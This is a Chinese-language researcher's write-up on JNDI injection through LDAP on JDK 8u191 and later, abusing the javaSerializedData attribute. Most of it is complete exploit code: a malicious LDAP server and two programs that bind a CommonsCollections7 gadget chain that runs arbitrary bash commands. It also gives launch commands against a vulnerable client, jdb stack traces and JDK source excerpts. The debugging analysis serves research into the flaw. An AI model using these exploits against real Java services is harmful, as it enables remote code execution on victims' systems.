「声明: 文中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。」
前言
本篇是[45]最后一小节的学习笔记,讲述8u191之后如何利用LDAP进行JNDI注入。简单点说,利用”javaSerializedData”属性,参[44]。
KINGX的方案是自己实现一个恶意LDAP服务,直接操作”javaSerializedData”属性。我对此方案有个新贡献,探索了正经程序员视角下的一种更易理解的攻击方案,使用标准LDAP服务,无需直接操作”javaSerializedData”属性,估计之前没人这么干过。
简版LDAP Server
Simple all-in-one LDAP server (wrapped ApacheDS)
https://github.com/kwart/ldap-server
$ vi jndi.ldif
dn: o=anything,dc=evil,dc=com
objectclass: top
objectclass: organization
o: anything
这是我瞎写的,不懂LDAP,不知道该怎么弄一个最简.ldif文件,至少这个能用。
java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif
8u191之后的JNDI注入(LDAP)
参[45]。这个技术方案相当于有一方在ObjectInputStream.readObject(),另一方在ObjectOutputStream.writeObject(),后者是攻击者可控的,前者没有缺省过滤器。此时只受限于受害者一侧CLASSPATH中是否存在Gadget链的依赖库,对JDK没有版本要求。
参[74],后面的PoC用到了如下库:
unboundid-ldapsdk-3.1.1.jar
commons-collections-3.1.jar
0) VulnerableClient.java
/*
* javac -encoding GBK -g VulnerableClient.java
*/
import javax.naming.*;
public class VulnerableClient
{
public static void main ( String[] argv ) throws Exception
{
String name = argv[0];
Context ctx = new InitialContext();
ctx.lookup( name );
}
}
这是受漏洞影响的JNDI客户端。
1) EvilLDAPServer.java
参[45],这就是:
我按自己的编程习惯稍做修改,如果Gadget链有变,改getObject()即可。
/*
* javac -encoding GBK -g -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java
*/
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import java.net.*;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class EvilLDAPServer
{
/*
* ysoserial/CommonsCollections7
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String cmd ) throws Exception
{
Transformer[] tarray = new Transformer[]
{
new ConstantTransformer( Runtime.class ),
new InvokerTransformer
(
"getMethod",
new Class[]
{
String.class,
Class[].class
},
new Object[]
{
"getRuntime",
new Class[0]
}
),
new InvokerTransformer
(
"invoke",
new Class[]
{
Object.class,
Object[].class
},
new Object[]
{
null,
new Object[0]
}
),
new InvokerTransformer
(
"exec",
new Class[]
{
String[].class
},
new Object[]
{
new String[]
{
"/bin/bash",
"-c",
cmd
}
}
)
};
Transformer tchain = new ChainedTransformer( new Transformer[0] );
Map normalMap_0 = new HashMap();
Map normalMap_1 = new HashMap();
Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain );
Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain );
lazyMap_0.put( "scz", "same" );
lazyMap_1.put( "tDz", "same" );
Hashtable ht = new Hashtable();
ht.put( lazyMap_0, "value_0" );
ht.put( lazyMap_1, "value_1" );
lazyMap_1.remove( "scz" );
Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" );
f.setAccessible( true );
f.set( tchain, tarray );
return( ht );
}
/*
* com.sun.jndi.ldap.Obj.serializeObject
*/
private static byte[] serializeObject ( Object obj ) throws Exception
{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( bos );
oos.writeObject( obj );
return bos.toByteArray();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor
{
String cmd;
public OperationInterceptor ( String cmd )
{
this.cmd = cmd;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result )
{
String base = result.getRequest().getBaseDN();
Entry e = new Entry( base );
try
{
sendResult( result, base, e );
}
catch ( Exception ex )
{
ex.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception
{
e.addAttribute( "javaClassName", "foo" );
e.addAttribute( "javaSerializedData", serializeObject( getObject( this.cmd ) ) );
result.sendSearchEntry( e );
result.setResult( new LDAPResult( 0, ResultCode.SUCCESS ) );
}
}
private static void MiniLDAPServer ( String addr, int port, String cmd ) throws Exception
{
InMemoryDirectoryServerConfig conf = new InMemoryDirectoryServerConfig( "dc=evil,dc=com" );
conf.setListenerConfigs
(
new InMemoryListenerConfig
(
"listen",
InetAddress.getByName( addr ),
Integer.valueOf( port ),
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
( SSLSocketFactory )SSLSocketFactory.getDefault()
)
);
conf.addInMemoryOperationInterceptor( new OperationInterceptor( cmd ) );
InMemoryDirectoryServer ds = new InMemoryDirectoryServer( conf );
ds.startListening();
}
public static void main ( String[] argv ) throws Exception
{
String addr = argv[0];
int port = Integer.parseInt( argv[1] );
String cmd = argv[2];
MiniLDAPServer( addr, port, cmd );
}
}
假设目录结构是:
.
|
+—test1
| EvilLDAPServer.class
| EvilLDAPServer$OperationInterceptor.class
| unboundid-ldapsdk-3.1.1.jar
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar
在test1目录执行:
java \
-cp “commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar:.” \
EvilLDAPServer 192.168.65.23 10388 “/bin/touch /tmp/scz_is_here”
在test2目录执行:
java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10388/dc=evil,dc=com \
VulnerableClient any
2) EvilServer5.java
EvilLDAPServer自己实现一个恶意LDAP服务,直接操作”javaSerializedData”属性。实际上有更容易理解的攻击方案,就用标准LDAP服务,只不过绑定恶意Object,背后的原理跟EvilLDAPServer一样。
/*
* javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer5.java
*/
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import javax.naming.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
public class EvilServer5
{
/*
* ysoserial/CommonsCollections7
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String cmd ) throws Exception
{
Transformer[] tarray = new Transformer[]
{
new ConstantTransformer( Runtime.class ),
new InvokerTransformer
(
"getMethod",
new Class[]
{
String.class,
Class[].class
},
new Object[]
{
"getRuntime",
new Class[0]
}
),
new InvokerTransformer
(
"invoke",
new Class[]
{
Object.class,
Object[].class
},
new Object[]
{
null,
new Object[0]
}
),
new InvokerTransformer
(
"exec",
new Class[]
{
String[].class
},
new Object[]
{
new String[]
{
"/bin/bash",
"-c",
cmd
}
}
)
};
Transformer tchain = new ChainedTransformer( new Transformer[0] );
Map normalMap_0 = new HashMap();
Map normalMap_1 = new HashMap();
Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain );
Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain );
lazyMap_0.put( "scz", "same" );
lazyMap_1.put( "tDz", "same" );
Hashtable ht = new Hashtable();
ht.put( lazyMap_0, "value_0" );
ht.put( lazyMap_1, "value_1" );
lazyMap_1.remove( "scz" );
Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" );
f.setAccessible( true );
f.set( tchain, tarray );
return( ht );
}
public static void main ( String[] argv ) throws Exception
{
String name = argv[0];
String cmd = argv[1];
Object obj = getObject( cmd );
Context ctx = new InitialContext();
ctx.rebind( name, obj );
System.in.read();
}
}
用LDAP Server做周知端口时,rebind()的内部实现就是将Object序列化后置于”javaSerializedData”属性中,lookup()则对”javaSerializedData”属性的值进行反序列化,就这么设计的。所以像EvilServer5.java这样编程,entry中天然会出现”javaSerializedData”属性,不需要奇技淫巧。
即使用javax.naming.directory.InitialDirContext,且ctx.rebind()时第三形参指定”javaSerializedData”属性,将来也会在com.sun.jndi.ldap.Obj.encodeObject()中用rebind()第二形参的序列化数据覆盖之。
不过,神奇的是,我碰上过这个错误提示:
More than one value has been provided for the single-valued attribute: javaSerializedData
动态调试发现有两个”javaSerializedData”属性出现,分别对应rebind()第二、三形参。正是调试该错误时发现com.sun.jndi.ldap.Obj.encodeObject(),从而找到EvilServer5的最简实现方式。可惜当时在调试分析的中间阶段,没有保留那个出错的测试用例,待我搞清楚来龙去脉后,再也无法复现同样的错误场景,遗憾。
2.0) 测试
假设目录结构是:
.
|
+—test0
| jndi.ldif
| ldap-server.jar
|
+—test1
| EvilServer5.class
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar
在test0目录执行:
java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif
在test1目录执行:
java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer5 cn=any “/bin/touch /tmp/scz_is_here”
在test2目录执行:
java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any
2.1) 调试ctx.rebind()
调试EvilServer5:
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer5 cn=any “/bin/touch /tmp/scz_is_here”
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in com.sun.jndi.ldap.Obj.encodeObject
stop at com.sun.jndi.ldap.Obj:173
[1] com.sun.jndi.ldap.Obj.encodeObject (Obj.java:173), pc = 271
[2] com.sun.jndi.ldap.Obj.determineBindAttrs (Obj.java:597), pc = 181
[3] com.sun.jndi.ldap.LdapCtx.c_bind (LdapCtx.java:411), pc = 45
[4] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:500), pc = 39
[5] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:464), pc = 5
[6] com.sun.jndi.toolkit.ctx.ComponentContext.p_rebind (ComponentContext.java:631), pc = 62
[7] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:223), pc = 29
[8] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:214), pc = 10
[9] javax.naming.InitialContext.rebind (InitialContext.java:433), pc = 7
[10] EvilServer5.main (EvilServer5.java:92), pc = 26
2.1.1) 简化版调用关系
参看:
InitialContext.rebind // 8u232
LdapCtx.c_rebind
LdapCtx.c_rebind // LdapCtx:464
LdapCtx.c_bind // LdapCtx:500
Obj.determineBindAttrs // LdapCtx:411
Obj.encodeObject // Obj:597
// convert the supplied object into LDAP attributes
attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA],serializeObject(obj)))
// Obj:173
// 设置"javaSerializedData"属性
attrs = addRdnAttributes(...) // LdapCtx:416
answer = clnt.add(entry, reqCtls) // LdapCtx:419
// com.sun.jndi.ldap.LdapClient.add()
如果ctx.rebind()碰上如下错误提示:
a) More than one value has been provided for the single-valued attribute: javaSerializedData
b) can only bind Referenceable, Serializable, DirContext
动态调试这个函数:
com.sun.jndi.ldap.Obj.encodeObject()
2.1.2) 相关源码
/*
* com.sun.jndi.ldap.Obj.encodeObject
*/
/**
* Encode an object in LDAP attributes.
* Supports binding Referenceable or Reference, Serializable,
* and DirContext.
*
* If the object supports the Referenceable interface then encode
* the reference to the object. See encodeReference() for details.
*<p>
* If the object is serializable, it is stored as follows:
* javaClassName
* value: Object.getClass();
* javaSerializedData
* value: serialized form of Object (in binary form).
* javaTypeName
* value: getTypeNames(Object.getClass());
*/
private static Attributes encodeObject(char separator,
Object obj, Attributes attrs,
Attribute objectClass, boolean cloned)
throws NamingException {
boolean structural =
(objectClass.size() == 0 ||
(objectClass.size() == 1 && objectClass.contains("top")));
if (structural) {
objectClass.add(JAVA_OBJECT_CLASSES[STRUCTURAL]);
}
// References
if (obj instanceof Referenceable) {
objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]);
objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]);
if (!cloned) {
attrs = (Attributes)attrs.clone();
}
attrs.put(objectClass);
return (encodeReference(separator,
((Referenceable)obj).getReference(),
attrs, obj));
} else if (obj instanceof Reference) {
objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]);
objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]);
if (!cloned) {
attrs = (Attributes)attrs.clone();
}
attrs.put(objectClass);
return (encodeReference(separator, (Reference)obj, attrs, null));
// Serializable Object
} else if (obj instanceof java.io.Serializable) {
objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]);
if (!(objectClass.contains(JAVA_OBJECT_CLASSES[MAR_OBJECT]) ||
objectClass.contains(JAVA_OBJECT_CLASSES_LOWER[MAR_OBJECT]))) {
objectClass.add(JAVA_OBJECT_CLASSES[SER_OBJECT]);
}
if (!cloned) {
attrs = (Attributes)attrs.clone();
}
attrs.put(objectClass);
/*
* 173行,设置"javaSerializedData"属性
*/
attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA],
serializeObject(obj)));
if (attrs.get(JAVA_ATTRIBUTES[CLASSNAME]) == null) {
attrs.put(JAVA_ATTRIBUTES[CLASSNAME],
obj.getClass().getName());
}
if (attrs.get(JAVA_ATTRIBUTES[TYPENAME]) == null) {
Attribute tAttr =
LdapCtxFactory.createTypeNameAttr(obj.getClass());
if (tAttr != null) {
attrs.put(tAttr);
}
}
// DirContext Object
} else if (obj instanceof DirContext) {
// do nothing
} else {
/*
* 190行
*/
throw new IllegalArgumentException(
"can only bind Referenceable, Serializable, DirContext");
}
// System.err.println(attrs);
return attrs;
}
2.2) 调试ctx.lookup()
调试VulnerableClient:
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in java.lang.Runtime.exec(java.lang.String[])
[1] java.lang.Runtime.exec (Runtime.java:485), pc = 0
[2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
[3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
[4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
[5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
[6] org.apache.commons.collections.functors.InvokerTransformer.transform (InvokerTransformer.java:125), pc = 30
[7] org.apache.commons.collections.functors.ChainedTransformer.transform (ChainedTransformer.java:122), pc = 12
[8] org.apache.commons.collections.map.LazyMap.get (LazyMap.java:151), pc = 18
[9] java.util.AbstractMap.equals (AbstractMap.java:495), pc = 118
[10] org.apache.commons.collections.map.AbstractMapDecorator.equals (AbstractMapDecorator.java:129), pc = 12
[11] java.util.Hashtable.reconstitutionPut (Hashtable.java:1,241), pc = 55
[12] java.util.Hashtable.readObject (Hashtable.java:1,215), pc = 228
[13] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
[14] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
[15] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
[16] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
[17] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24
[18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119
[19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183
[20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401
[21] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19
[22] com.sun.jndi.ldap.Obj.deserializeObject (Obj.java:531), pc = 38
[23] com.sun.jndi.ldap.Obj.decodeObject (Obj.java:239), pc = 52
[24] com.sun.jndi.ldap.LdapCtx.c_lookup (LdapCtx.java:1,051), pc = 164
[25] com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup (ComponentContext.java:542), pc = 81
[26] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:177), pc = 26
[27] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:166), pc = 9
[28] javax.naming.InitialContext.lookup (InitialContext.java:417), pc = 6
[29] VulnerableClient.main (VulnerableClient.java:12), pc = 14
2.2.1) 简化版调用关系
参看:
InitialContext.lookup // 8u232
LdapCtx.c_lookup
LdapResult answer = doSearchOnce() // LdapCtx:1027
// 向LDAP Server查询
attrs = entry.attributes // LdapCtx:1047
// 取entry的所有属性
if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null)
// LdapCtx:1049
// 检查entry的"javaClassName"属性
// 本例中是"java.util.Hashtable"
Obj.decodeObject // LdapCtx:1051
attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])
// Obj:237
// 取"javaSerializedData"属性
Obj.deserializeObject // Obj:239
// 对byte[]进行反序列化
ObjectInputStream.readObject // Obj:531
Hashtable.readObject // ysoserial/CommonsCollections7
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get // 此处开始LazyMap利用链
ChainedTransformer.transform
InvokerTransformer.transform
Runtime.exec
这种攻击方案相当于受害者调ObjectInputStream.readObject()反序列化攻击者可控数据,没有缺省过滤器。此时,只要求受害者一侧有Gadget链依赖库,没有其他限制。
3) EvilServer6.java
参[39],Alvaro Munoz在议题中给了点代码片断:
System.out.println("Poisoning LDAP user");
BasicAttribute mod1 = new BasicAttribute("javaCodebase",attackerURL));
BasicAttribute mod2 = new BasicAttribute("javaClassName","DeserPayload"));
BasicAttribute mod3 = new BasicAttribute("javaSerializedData", serializedBytes));
ModificationItem[] mods = new ModificationItem[3];
mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);
mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);
mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3);
ctx.modifyAttributes("uid=target,ou=People,dc=example,dc=com", mods);
他调用的是:
javax.naming.directory.InitialDirContext.modifyAttributes(String,ModificationItem[])
我觉得他绕了大弯路,完全没必要,EvilServer5.java就是最简形式。不过我好奇心很重,基于他这个片断写了EvilServer6.java。
/*
* javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer6.java
*/
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import javax.naming.directory.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
public class EvilServer6
{
/*
* ysoserial/CommonsCollections7
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String cmd ) throws Exception
{
Transformer[] tarray = new Transformer[]
{
new ConstantTransformer( Runtime.class ),
new InvokerTransformer
(
"getMethod",
new Class[]
{
String.class,
Class[].class
},
new Object[]
{
"getRuntime",
new Class[0]
}
),
new InvokerTransformer
(
"invoke",
new Class[]
{
Object.class,
Object[].class
},
new Object[]
{
null,
new Object[0]
}
),
new InvokerTransformer
(
"exec",
new Class[]
{
String[].class
},
new Object[]
{
new String[]
{
"/bin/bash",
"-c",
cmd
}
}
)
};
Transformer tchain = new ChainedTransformer( new Transformer[0] );
Map normalMap_0 = new HashMap();
Map normalMap_1 = new HashMap();
Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain );
Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain );
lazyMap_0.put( "scz", "same" );
lazyMap_1.put( "tDz", "same" );
Hashtable ht = new Hashtable();
ht.put( lazyMap_0, "value_0" );
ht.put( lazyMap_1, "value_1" );
lazyMap_1.remove( "scz" );
Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" );
f.setAccessible( true );
f.set( tchain, tarray );
return( ht );
}
/*
* com.sun.jndi.ldap.Obj.serializeObject
*/
private static byte[] serializeObject ( Object obj ) throws Exception
{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( bos );
oos.writeObject( obj );
return bos.toByteArray();
}
public static void main ( String[] argv ) throws Exception
{
String name = argv[0];
String cmd = argv[1];
Object obj = getObject( cmd );
String sth = "";
Attribute attr = new BasicAttribute( "javaSerializedData", serializeObject( obj ) );
ModificationItem[] mods = new ModificationItem[1];
mods[0] = new ModificationItem( DirContext.REPLACE_ATTRIBUTE, attr );
DirContext ctx = new InitialDirContext();
/*
* com.sun.jndi.ldap.Obj.encodeObject(Obj.java:190)
*
* can only bind Referenceable, Serializable, DirContext
*/
ctx.rebind( name, sth, null );
ctx.modifyAttributes( name, mods );
System.in.read();
}
}
EvilServer6的网络通信比EvilServer5多,modifyAttributes()会产生新的网络通信。
假设目录结构是:
.
|
+—test0
| jndi.ldif
| ldap-server.jar
|
+—test1
| EvilServer6.class
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar
在test0目录执行:
java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif
在test1目录执行:
java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer6 cn=any “/bin/touch /tmp/scz_is_here”
在test2目录执行:
java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any
参考资源
[39] A Journey From JNDI LDAP Manipulation To RCE – Alvaro Munoz, Oleksandr Mirosh [2016-08-02]
[44] LDAP Directories
https://docs.oracle.com/javase/jndi/tutorial/objects/representation/ldap.html
(提到javaSerializedData)
[45] 如何绕过高版本JDK的限制进行JNDI注入利用 – KINGX [2019-06-03]
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
[74]
https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/
https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/unboundid-ldapsdk-3.1.1.jar